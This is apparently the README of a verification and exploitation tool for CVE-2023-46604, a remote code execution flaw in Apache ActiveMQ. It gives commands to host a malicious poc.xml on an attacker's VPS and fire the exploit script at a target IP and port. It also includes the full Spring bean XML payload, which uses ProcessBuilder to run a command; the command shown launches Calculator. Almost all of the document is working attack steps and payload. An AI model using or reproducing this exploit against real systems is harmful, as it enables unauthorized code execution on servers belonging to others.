CVE-2023-46604 之 ActiveMQ RCE 漏洞验证/利用工具

# 拉取源码git clone https://github.com/sule01u/CVE-2023-46604.git
# 进入目录cd CVE-2023-46604
# 将poc.xml部署到http服务(Deploy on your vps)python3 -m http.server
# 发送pocpython3 CVE-2023-46604.py -i target_ip -p target_port --xml http://vps_ip:8000/poc.xml

<?xml version="1.0" encoding="UTF-8" ?>     <beans xmlns="http://www.springframework.org/schema/beans"        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"        xsi:schemaLocation="      http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">         <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">             <constructor-arg >             <list>                 <value>open</value>                 <value>-a</value>                 <value>Calculator</value>             </list>             </constructor-arg>         </bean>     </beans>